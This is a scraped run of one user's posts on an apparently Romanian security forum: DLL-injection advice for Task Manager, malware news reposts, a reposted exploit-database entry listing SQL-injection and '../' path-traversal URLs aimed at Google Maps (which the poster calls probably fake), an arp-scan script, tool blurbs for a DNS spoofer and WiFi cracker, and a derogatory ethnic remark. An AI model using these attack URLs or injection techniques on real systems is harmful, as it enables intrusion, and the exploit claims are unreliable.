Nytro

Nu e nevoie de ReadProcessMemory in cazul de fata, SetWindowHookEx iti va injecta DLL-ul in proces si codul se va executa in cadrul acelui proces. Nu stiu exact cum se trimit mesajele de adaugare de element in ListView, dar e posibil sa se foloseasca LVM_SETITEM si LVM_SETITEMTEXT pentru setarea textului pe un element adaugat anterior cu LVM_INSERTITEM. Pentru ca e dubios acel pszText, se poate seta ca LPSTR_TEXTCALLBACK fiind apoi necesara apelarea LVM_SETITEM sau LVM_SETITEMTEXT pentru a fi setat.

Nu prea inteleg cum ai procedat. Dll-ul e injectat in TaskManager.exe nu? Cum ai facut sa preiei mesajele? Mai exact, codul tau ruleaza in cadrul procesului de Task Manager? Pentru ca pointerii (LVITEMW*) sunt relativi la proces, si daca lucrezi cu siruri de caractere trebuie sa tot ReadProcessMemory/WriteProcessMemory nu numai pe acei pointeri, dar si pe pointerii la sirurile de caractere l2->pszText.

Sau, fiind poate "cel mai mare peste": hacking for fun and profit...

[h=1]Mii de imprimante office, infectate cu un virus[/h] de Liviu Petrescu | 25 iunie 2012 Virusul Milicenso a atacat din nou mii de PC-uri la nivel global, insa noua versiune a malware-ului are un efect cu adevarat neplacut: virusul isi printeaza singur codul. Mai multe companii din SUA, Europa, India si America de Sud au suferit pierderi dupa ce imprimantele atasate PC-urilor virusate au inceput sa printeze un text neinteligibil, scrie BBC. Firma de securitate online Symantec sustine ca printarea codului virusului de catre imprimantele conectate la PC-urile infectate este un efect secundar, nu scopul principal al aplicatiei malware. Creat in 2010, virusul Milicenso a circulat sub diferite forme pana acum, raspandindu-se ca atasament de email sau prin site-uri infectate ce ofera descarcari de codecuri video. Virusul are ca scop distributia de adware, insa cea mai noua versiune trimite automat tot codul malware al virusului in printer queue. Sursa: Mii de imprimante office, infectate cu un virus | Hit.ro

De ce as vrea sa apar pe site-ul lor? Initial am vrut sa pun ceva la caterinca, dar nu ar fi acceptat.

Vin si eu.

1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 0 _ __ __ __ 1 1 /' \ __ /'__`\ /\ \__ /'__`\ 0 0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1 1 \/_/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/\`'__\ 0 0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ 1 1 \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ 0 0 \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ 1 1 \ \____/ >> Exploit database separated by exploit 0 0 \/___/ type (local, remote, DoS, etc.) 1 1 1 0 [x] Official Website: http://www.1337day.com 0 1 [x] Support E-mail : mr.inj3ct0r[at]gmail[dot]com 1 0 0 1 ========================================== 1 0 I'm Taurus Omar Member From Inj3ct0r TEAM 1 1 ========================================== 0 0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=-1 | | | C _:_ A | | C _:_ A | | Google Maps - Remote File Disclosure /SQL Injection Vulnerability | -------------------------------------------------------------------------- ==> ABOUT ME: --- TAURUS OMAR --- INDEPENDENT SECURITY RESEARCHER --- ACCESOILEGAL.BLOGSPOT.COM --- @omartaurus --- omar-taurus[at]dragonsecurity[dot]org --- omar-taurus[at]live[dot]com ===> INFO: Author : TAURUS OMAR Category : Webapps / 0day Title Exploit : Google Maps - Remote File Disclosure /SQL Injection Vulnerability Vendor : Google Maps URL Vendor : http://maps.google.com/ 0day exploits : 1337day.com Inj3ct0r Exploit DataBase ++++++++++++++++++++++++++++++++++++ Proof of CONCEPT IMAGES : http://img256.imageshack.us/img256/5621/googlemapsr.jpg http://img341.imageshack.us/img341/995/googlemaps2i.jpg ++++++++++++++++++++++++++++++++++++ ==> SAMPLE'S SQLi: http://maps.google.com/maps?q=1001%20+longwod+%20road+%2019348 [SQL Injection] http://maps.google.com/maps?q=1001%20+Webb%20+Rd+%20Chadds%20+Ford+%20Delaware+%20Pennsylvania+%2019317 [SQL Injection] http://maps.google.com/maps?q=1001%20+Webb%20+Rd+%20Wolverine+%20Cheboygan+%20Michigan+%2049799 [SQL Injection] http://maps.google.com/maps?q=1001%20+Webb%20+Rd+%20Crum+%20Wayne+%20West+%20Virginia+%2025669 [SQL Injection] http://maps.google.com/maps?q=1001%20+Webb%20+Rd+%20Simpsonville+%20Shelby+%20Kentucky+%2040067 [SQL Injection] http://maps.google.com/maps?q=1001%20+Webb%20+Rd+%20Cottage+%20Grove+%20Weakley+%20Tennessee+%2038224 [SQL Injection] http://maps.google.com/maps?q=1001%20+Webb%20+Rd+%20Dothan+%20Houston+%20Alabama+%2036303 [SQL Injection] http://maps.google.com/maps?q=1001%20+Webb%20+Rd+%20Clarksville+%20Montgomery+%20Tennessee+%2037040 [SQL Injection] http://maps.google.com/maps?q=1001%20+Webb%20+Rd+%20Chattanooga+%20Hamilton+%20Tennessee+%2037416 [SQL Injection] http://maps.google.com/maps?q=1001%20+Webb%20+Rd+%20Ellenboro+%20Rutherford+%20North+%20Carolina+%2028040 [SQL Injection] ==>REMOTE FILE DISCLOSURE http://maps.google.com/ads/displaynetwork/adtypes/xxxxx/../../../../maps/ms ---------------------------------------------------------------------------- http://maps.google.com/ads/displaynetwork/adtypes/hilton-300x250.html/../../../../maps/ms http://maps.google.com/ads/displaynetwork/adtypes/lenovo-728x90.html/../../../../maps/ms # 1337day.com [2012-06-22] Sursa: Inj3ct0r Member found Google Maps Remote File Disclosure / SQL Injection | Inj3ct0r - exploit database : vulnerability : 0day : shellcode Nu pare sa mearga, nu acum Oricum injectorii astia sunt de cacat, se lauda cu exploit-uri gasite de altii si sunt cam paraleli cu orice, deci probabil fake, dar na, nu pot fi sigur.

Care din Bucuresti aveti masina? A, cacat, il iau pe Ahead si mergem

Da ma, companii mari din domeniul financiar platesc bani buni pentru asa ceva, pe cand altele...

Asta sa fie? Profesor Petre Paulina - profesor Engleza

@nedo: O adresa IPv4 are 4 bytes. Adresa IP RST este: 188.240.88.237 In hexazecimal, fiecare byte: 0xBC = 188, 0xF0 = 240, 0x58 = 88, 0xED = 237 => http://0xBCF058ED Daca compunem un singur "int" de 4 bytes, din aceste numere, adica 0xBCF058ED, in zecimal este 3169868013. @dany: Deci, ce limbaj ai ales?

[h=2]Script to Find All IP Addresses on a Internal Network[/h]Posted by purehate in Code Snippets at 12:56 PM I was working on a presentation this morning and as I was writing I realized I did not have a quick fast way to make a list of all the internal Ips on a LAN (Local Area network). Many of the tools I use including nmap, nessus and nexpose will accept a list of ips so I decided to whip up a quick dirty shell script to get the job done. I may clean it up in the future but for now it does its job. This is meant to work on Backtrack 4 but in its current state it will work on any Debian based distro. As always with any code found on the internet you use this at your own risk. Also I am sure this can be done better but like I said it was a 10 minute fix. Here is the script: Save it as ip_list.sh and give it execute permissions with chmod 755 01 #!/bin/bash 02 # Quick a dirty script to make a list of internal ips on a LAN 03 # Questions, Comments or Death Threats can be sent to crackers@question-defense.com 04 # This is made for Backtrack 4 so every one else is on their own 05 06 #set some variables 07 subnet=$(echo $2 | cut -f 1 -d .) 08 outfile=$subnet"_ip.list" 09 temp=ip.tmp 10 11 #Check for the proper arguments 12 if [ -z "$1" ]; then 13 echo usage: $0 interface subnet 14 echo "example: arp-scan eth0 192.168.1.0/24" 15 exit 16 fi 17 18 if [ -z "$2" ]; then 19 echo usage: $0 interface subnet 20 echo "example: arp-scan eth0 192.168.1.0/24" 21 exit 22 fi 23 24 #check for arp-scan 25 echo "Checking for arp-scan" 26 dpkg --status arp-scan | grep -q not-installed 27 28 if [ $? -eq 0 ]; then 29 echo "Downloading arp-scan...." 30 sudo apt-get install arp-scan -y 31 else 32 echo "arp-scan found!" 33 fi 34 35 #running the scan 36 /usr/bin/arp-scan $1 $2 > $temp 2>/dev/null 37 cat ip.tmp | grep $subnet | awk {'print $1'} > $outfile 38 rm -rf $temp 39 40 count=$(wc -l $outfile | awk {'print $1'}) 41 echo $count "active ip's found" 42 dir=$(pwd) 43 echo "Your file is named" $outfile "and is located in the" $dir "directory" Sursa: Script to Find All IP Addresses on a Internal Network

Aranea é un DNS Spoofer molto veloce e versatile, basato interamente su libpcap. Volevamo un tool più flessibile rispetto a quelli già pubblicati, cosi abbiamo sviluppato aranea come applicazione multithreaded capace di interagire con le richieste utilizzando regular expressions. Download: https://github.com/TigerSecurity/aranea Sursa: Tools – Tiger Security S.r.l.

[h=5]Web Backdoor Finder Light[/h] Web Backdoor Finder Light (WBFL) è uno strumento che permette di rilevare all’interno del proprio filesystem backdoor di tipo web. WBFL è uno script essenziale e veloce che si occupa di rilevare e segnalare funzioni php generalmente malevole utilizzate all’interno di pagine presenti nel filesystem al fine di evidenziare possibili backdoor web presenti. Download: https://github.com/TigerSecurity/Web-BackDoor-Finder-Light Sursa: Tools – Tiger Security S.r.l.

Gerix-Wifi-Cracker Gerix-Wifi-Cracker é un’intuitiva interfaccia grafica per la suite di strumenti aircrack-ng, nonché per altri strumenti complementari (e.g. pyrit). È possibile utilizzare il programma per vari tipi di attacco contro reti wifi: Cracking WEP (chop-chop, fragmentation) Cracking WPA (basato su wordlist o rainbow tables) Attacchi client-side Creazione di fake access-point L’interfaccia é semplice da usare, include numerose utilities per facilitare le operazioni agli utenti, e il salvataggio dei dati ottenuti. Download: https://github.com/TigerSecurity/gerix-wifi-cracker Sursa: Tools – Tiger Security S.r.l.

E de la tara, probabil profesoara in cine stie ce sat de tigani.

In sfarsit cineva care observa.

Lasati prostiile, o sa aveti destul timp si sa lucrati, toata viata. Mai aveti si voi cativa ani de "libertate", folositi-i cu cap. PS: Puteti face ceva proiecte pentru un viitor CV.

Cyber-war...

Poveste: http://www.ovidiuav.com/2012/06/19/acum-5-ani-am-scris-un-e-mail/ Link: http://www.futureme.org/

Exe?

Esti o victima a pirateriei.

[h=1]Confirmat: Virusul Flame, creat de americani si israelieni[/h]de Liviu Petrescu | 21 iunie 2012 Speculatiile cu privire la originea virusului Flame, considerat de Kaspersky Lab prea puternic pentru a fi creat de hackeri, au fost confirmate. Flame a fost creat de americani si israelieni pentru a stopa programul nuclear din Iran, scrie Washington Post. La mai putin de doua saptamani dupa ce virusul a fost eliminat chiar de creatorii sai, oficialii americani au confirmat originea virusului catre Washington Post, citat de ArsTechnica. Virusul Flame este considerat cel mai puternic virus informatic din istoria tehnologiei informatice, deoarece a obtinut acces la toate perifericele PC-urilor infectate, inclusiv webcam-uri si microfoane si a ramas nedetectat timp de aproape 2 ani. Potrivit informatiile de la Washington, virusul informatic Flame folosit in Orientul Mijlociu a fost dezvoltat in cooperare de catre NSA, CIA si Israel. Descoperirea virusului a fost provocata de catre o incursiune unilaterala a israelienilor, sustin oficialii americani. Sursa: Confirmat: Virusul Flame, creat de americani si israelieni | Hit.ro

Smecherii: http://ntcore.com/articles.php